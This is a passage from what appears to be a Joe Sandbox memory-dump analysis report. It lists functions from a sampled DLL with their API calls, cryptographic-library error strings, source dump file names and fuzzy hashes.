Instruction Fuzzy Hash: 4C11C3B5C012099FDB10DFA4C944AAEBBB0FF58318F548469F814A7250EB399A559F50

Function 689770E0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 68977267

Strings

exceeds the maximum of , xrefs: 68977309
: IV length , xrefs: 6897719E, 689772D7
is less than the minimum of , xrefs: 689771D0

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw
String ID: exceeds the maximum of $ is less than the minimum of $: IV length
API String ID: 2005118841-1273958906
Opcode ID: 89b0399dde23d0491cfecc13e22169add14c55f5357f47518ecc322cc81f0f51
Instruction ID: a8a3279a07ce3573255eb14f44c544e19500a50ceea7905ae744e535218131a7
Opcode Fuzzy Hash: 89b0399dde23d0491cfecc13e22169add14c55f5357f47518ecc322cc81f0f51
Instruction Fuzzy Hash: E56162752083809FD331DB68C884FEFB7E8AFA9348F404A1DE59987241DB75D9058BA7

Function 6899AE90 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6899AF27
_strncmp.LIBCMT ref: 6899AFA6

Strings

ThisPointer:, xrefs: 6899AF4B, 6899AFA0
ValueNames, xrefs: 6899AEB7

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: 59e47a92a2ef6f268427e9945a158c264ef9be7e89ab23eca3a4bc91ef62df78
Instruction ID: 9102422db5831096ce8b0842025b3b27d9464ea24f1aa6b50461ac47aeff851c
Opcode Fuzzy Hash: 59e47a92a2ef6f268427e9945a158c264ef9be7e89ab23eca3a4bc91ef62df78
Instruction Fuzzy Hash: 975136756087409FCB10CF64C884A2BB7FEAF9630CF884A5DF4E697241C767E8098752

Function 6897A360 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6897A3F7
_strncmp.LIBCMT ref: 6897A476

Strings

ThisPointer:, xrefs: 6897A41B, 6897A470
ValueNames, xrefs: 6897A387

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: 3b634758f0966af0e70e11fc79744c80d4bc2fcfa4ddb68e88bf60342d6b9cdd
Instruction ID: fd51bdb807e2ebbc8d74ac0845fba01d81a92ec2d241fa8616d29308e58c3b1f
Opcode Fuzzy Hash: 3b634758f0966af0e70e11fc79744c80d4bc2fcfa4ddb68e88bf60342d6b9cdd
Instruction Fuzzy Hash: 2F51D8352087409FC3248F64D894A2BB7FEAFD634CF848A5DF4E657241D727E8098752

Function 6899B9B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6899BA47
_strncmp.LIBCMT ref: 6899BAC6

Strings

ThisPointer:, xrefs: 6899BA6B, 6899BAC0
ValueNames, xrefs: 6899B9D7

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _strncmptype_info::operator!=
String ID: ThisPointer:$ValueNames
API String ID: 1333309372-2375088429
Opcode ID: 666b0ebb4d186cc58868725c4e3c550f9e0af86e61ae0607314341ae58fc6afe
Instruction ID: 044633019ec17344eba35cbc4eb255d1f30d4881ab98d17bc5c3c6eb6cacca28
Opcode Fuzzy Hash: 666b0ebb4d186cc58868725c4e3c550f9e0af86e61ae0607314341ae58fc6afe
Instruction Fuzzy Hash: 8151F6352083449FCB108F65C894A37B7FEAFD625CF888A1DE4E68B281D766E809C751

Function 68981B70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 68981C1A

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

__CxxThrowException@8.LIBCMT ref: 68981CDE
__CxxThrowException@8.LIBCMT ref: 68981D3E

Strings

TF_SignerBase: the recoverable message part is too long for the given key and algorithm, xrefs: 68981CF0
TF_SignerBase: this algorithm does not support messsage recovery or the key is too short, xrefs: 68981C67

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: TF_SignerBase: the recoverable message part is too long for the given key and algorithm$TF_SignerBase: this algorithm does not support messsage recovery or the key is too short
API String ID: 3476068407-3371871069
Opcode ID: 87f45b0a97601e4836e6faf5b7eb912ed05b34db02d7efa87d62835a6a1a4ebc
Instruction ID: bcc1d27b35355e975385f45009b1ddfc00a4f629941469e7901e05bc692eb0fb
Opcode Fuzzy Hash: 87f45b0a97601e4836e6faf5b7eb912ed05b34db02d7efa87d62835a6a1a4ebc
Instruction Fuzzy Hash: EF5156752087419FD320DF68C880FAEB7E9BFD8304F508A1DE59987391DB71E9058BA2

Function 68942090 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 6894211F

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 68944067
Part of subcall function 68944010: _memmove.LIBCMT ref: 689440C8

__CxxThrowException@8.LIBCMT ref: 689421BF

Strings

PK_MessageAccumulator: TruncatedFinal() should not be called, xrefs: 6894215D
PK_MessageAccumulator: DigestSize() should not be called, xrefs: 689420BD
8Aj?Q, xrefs: 689420C2, 689420E9, 68942162, 68942189, 689420EC, 6894218C

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: 8Aj?Q$PK_MessageAccumulator: DigestSize() should not be called$PK_MessageAccumulator: TruncatedFinal() should not be called
API String ID: 1902190269-3880593685
Opcode ID: c1e3a242d6eff9a9f7f38d700787d4bdb714e3ae9d77da3116f3600b96285468
Instruction ID: f9bdf18df54770a7e725455259af0e8de8853eba176541a7bad0bb0a26394128
Opcode Fuzzy Hash: c1e3a242d6eff9a9f7f38d700787d4bdb714e3ae9d77da3116f3600b96285468
Instruction Fuzzy Hash: 0A415D70C4428CAFDB10DFE9D890AEDFBB8BB19314F904259E421A7681DB759608CF51

Function 68944010 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6894402A

Part of subcall function 689A9125: std::exception::exception.LIBCMT ref: 689A913A
Part of subcall function 689A9125: __CxxThrowException@8.LIBCMT ref: 689A914F
Part of subcall function 689A9125: std::exception::exception.LIBCMT ref: 689A9160

std::_Xinvalid_argument.LIBCPMT ref: 68944067

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 689440C8

Strings

invalid string position, xrefs: 68944025
string too long, xrefs: 68944062

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 1615890066-4289949731
Opcode ID: 2007e07723adc3308c99aa28af48cd5aa2a0c1ff673294e0e47f7a2601b59c07
Instruction ID: d1bcd90132ba795afe245f8be11416c390f3c18d1a5d0a7bd49f4fd9645d6b2a
Opcode Fuzzy Hash: 2007e07723adc3308c99aa28af48cd5aa2a0c1ff673294e0e47f7a2601b59c07
Instruction Fuzzy Hash: 2031CA327051109BD7308E5CE840A6EF7A9EB91769F60052FF152CB241D772D8528BA1

Function 689A8E40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(Aj?Q,513F6A41), ref: 689A8E7F
GetLastError.KERNEL32(0000000A), ref: 689A8E8F

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 689A8F14

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

Timer: QueryPerformanceFrequency failed with error , xrefs: 689A8EA5
Aj?Q, xrefs: 689A8E70, 689A8E76

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ErrorExceptionException@8FrequencyLastPerformanceQueryRaiseThrowXinvalid_argumentstd::_
String ID: Aj?Q$Timer: QueryPerformanceFrequency failed with error
API String ID: 2175244869-2664654878
Opcode ID: 8bb37f335ff4ffe2037a02c7492a43590f19aabe96085c98279b5c3f234f515b
Instruction ID: 414dfd6ca94ac53a722e38e99c29904b593d2aea03b953e8cfb78875a65d01e1
Opcode Fuzzy Hash: 8bb37f335ff4ffe2037a02c7492a43590f19aabe96085c98279b5c3f234f515b
Instruction Fuzzy Hash: 8D211BB550C3809FD320DF24C845BAFBBE8BF99654F804A1DF5A992281D776D5048FA3

Function 689A8F40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(Aj?Q,513F6A41,?,00000000), ref: 689A8F7F
GetLastError.KERNEL32(0000000A,?,00000000), ref: 689A8F8F

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 689A9014

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

Aj?Q, xrefs: 689A8F70, 689A8F76
Timer: QueryPerformanceCounter failed with error , xrefs: 689A8FA5

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CounterErrorExceptionException@8LastPerformanceQueryRaiseThrowXinvalid_argumentstd::_
String ID: Aj?Q$Timer: QueryPerformanceCounter failed with error
API String ID: 1823523280-516466703
Opcode ID: e10f77302a97a0b4c2c3bd2bc9a04c9d5a13472f252159785442567c2aba3b78
Instruction ID: 6e1508531096989ed7558a4edd30d67f90ef3c9bcdf4e3166fa238a58cadc93b
Opcode Fuzzy Hash: e10f77302a97a0b4c2c3bd2bc9a04c9d5a13472f252159785442567c2aba3b78
Instruction Fuzzy Hash: 62211D7550C3809FD320DF24C885B5FB7E8BF99658F804A1DF5A992281D776D5048B93

Function 68976480 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 63COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 68976518

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

__CxxThrowException@8.LIBCMT ref: 68976558

Strings

Aj?Q, xrefs: 68976535, 68976539
Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 68976527
Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 689764E7

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Aj?Q$Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.
API String ID: 3476068407-86892893
Opcode ID: d1d84b9ed20a883475754f5afc18bf94e3b8b706db9574f00baf92fd71dcd74e
Instruction ID: 1c052b45ff32aa376fc23ac32f67682a87ce383574da0c7c3d46574199d7edc4
Opcode Fuzzy Hash: d1d84b9ed20a883475754f5afc18bf94e3b8b706db9574f00baf92fd71dcd74e
Instruction Fuzzy Hash: B921DC755183809FC335CF64C844FAEB3E8BBAA648FC04A1DE69982280EB35D404CA63

Function 689AC23B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 689AC24E

Part of subcall function 689AC1A9: ___BuildCatchObjectHelper.LIBCMT ref: 689AC1DF

_UnwindNestedFrames.LIBCMT ref: 689AC265
___FrameUnwindToState.LIBCMT ref: 689AC273

Strings

csm, xrefs: 689AC24A, 689AC25F, 689AC272, 689AC290, 689AC2A0
csm, xrefs: 689AC23D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 2a3f766c9b4dac2ca2754d74b5085f77c001a70fed88627ce95d418e20d78339
Instruction ID: a208f8618cdaf4d611f9be575f80899c10bb3eab6e6e7836af12afdcb8b545c5
Opcode Fuzzy Hash: 2a3f766c9b4dac2ca2754d74b5085f77c001a70fed88627ce95d418e20d78339
Instruction Fuzzy Hash: 35011935401109BBDF125F91DC45EEA7F6AFF18358F804010FD2829120D736D9B2DBA4

Function 68982300 Relevance: 7.8, APIs: 5, Instructions: 257COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 689823F3
_memmove.LIBCMT ref: 68982460

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: cda871cac77564ebcf83658c26e028a016719b2e6c5b06a5ef787b957d459643
Instruction ID: 83fcb7a58536dc7bd07c1c0e474b0d7679d292e5ba3157fbf6026adc633830c5
Opcode Fuzzy Hash: cda871cac77564ebcf83658c26e028a016719b2e6c5b06a5ef787b957d459643
Instruction Fuzzy Hash: 07915BB56087029FD714DFA9D990A2BB7E9FF8C704F504A2DE4A5C3340E735E9058BA2

Function 68971D50 Relevance: 7.6, APIs: 5, Instructions: 144timesleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(513F6A41), ref: 68971D91
timeGetTime.WINMM(513F6A41), ref: 68971D9F
timeGetTime.WINMM ref: 68971DBB
timeGetTime.WINMM ref: 68971DC9
Sleep.KERNEL32(00000032), ref: 68971DDC

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Timetime$Sleep
String ID:
API String ID: 4176159691-0
Opcode ID: 905bb7a7b58fa0a307d6046f053c047df59a962cc89687bb79b5f3c09086a919
Instruction ID: be136d9e241ceefce95bbf9d277aa5dfb161590cce6d1ac0b8a8a2c7ac816513
Opcode Fuzzy Hash: 905bb7a7b58fa0a307d6046f053c047df59a962cc89687bb79b5f3c09086a919
